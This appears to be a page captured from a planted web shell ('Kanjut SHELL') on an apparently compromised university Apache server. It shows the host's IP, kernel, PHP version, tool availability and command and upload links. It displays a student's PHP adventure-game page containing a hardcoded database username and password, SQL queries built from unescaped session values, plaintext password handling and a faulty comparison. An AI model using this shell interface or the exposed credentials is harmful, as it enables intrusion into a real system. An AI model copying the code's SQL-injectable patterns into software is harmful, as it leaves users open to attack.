Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.217.246.148
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/rlbarner/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/rlbarner/www/firelanding.php
<?php   session_start();
        $username = $_SESSION['username'];
        $_SESSION['username'] = $username;
        $password = $_SESSION['password'];
        $_SESSION['password'] = $password;
	
	$_SESSION['fire']=1;

      	$fire = $_SESSION['fire'];
        $_SESSION['fire'] = $fire;
        $water = $_SESSION['water'];
        $_SESSION['water'] = $water;
        $earth = $_SESSION['earth'];
        $_SESSION['earth'] = $earth;
        
        $host = 'localhost';
        $user = 'rlbarner';
        $passwd = 'cs480';
        $database = 'rlbarner';
        $connect = mysql_connect($host, $user, $passwd);
        $table_name = 'CYOAUsers';

        // polling table to see if UN & PW combo exist
        $query = "SELECT * FROM $table_name WHERE Username = '$username' && Password = '$password'";
        mysql_select_db($database);
        $result = mysql_query($query, $connect);

	if(($result) && (mysql_num_rows($result) > 0))
	{
?>

<!-- Body of page STARTS HERE! -->
<HEAD><TITLE>The Fire Room: Landing</TITLE>
<link rel="stylesheet" type="text/css" href="fireroom.css"></HEAD>

<HR>
<P>The air around you heats up the instant you step into the room ahead.  Orange light spills across the cement floor, and pillars of fire stand like sentinels in front of the brick 
wall approximately twenty feet away from you.  They sway as if blown by a stray breeze, but nothing of the sort brushes across your face: all you can feel is the extreme heat emanating 
from the flames.  A drop of sweat trickles down the left side of your face. </P>

<P>Hurriedly, you glance around the room and notice two things: one, that something smooth-looking and shiny is glinting at you from the midst of the center pillar of fire, near the 
floor; and two, that a dusty-looking bucket is standing beside the brick wall to your left, orange fire dancing across the still surface of possibly ancient water. </P>
<HR>

<B><P>What do you choose to do?</P>

<FORM action=firereachinto.php method=post>
<INPUT type=submit value=""> Reach into the fire for the smooth object
</FORM>

<FORM action=fireputout.php method=post> 
<INPUT type=submit value=""> Put out the fire with the bucket of water
</FORM>
</B>

<HR>
<!-- Body of page ENDS HERE! -->

<?php		
		print "<BR><FONT SIZE=2>Logged in as $username  <A HREF=cyoalogout.php>Logout</A></FONT>";
	}
	else
        {       // fail message
                print '<META HTTP-EQUIV="Refresh" Content="3; URL=cyoalogin.html">';
                print "<FONT SIZE=4 COLOR=RED><B>Error!</B> Username/password does not match any records.</FONT><BR>";
                print "You will now be redirected to the CYOA login page in 3 seconds.<BR>";
                print "If you are <B>not</B> redirected, <A HREF=cyoalogin.html>Click Here</A>.";
        }
        if($water=1 && $fire=='NULL' && $earth=='NULL')
        {       $amendq = "UPDATE $table_name SET StartCYOA = StartCYOA + 1 WHERE Username = '$username' && Password = '$password'";
                mysql_select_db($database);
                $amendr = mysql_query($amendq, $connect);
        }
        else
        {       // fail message
        }


?>

Stv3n404 - 2023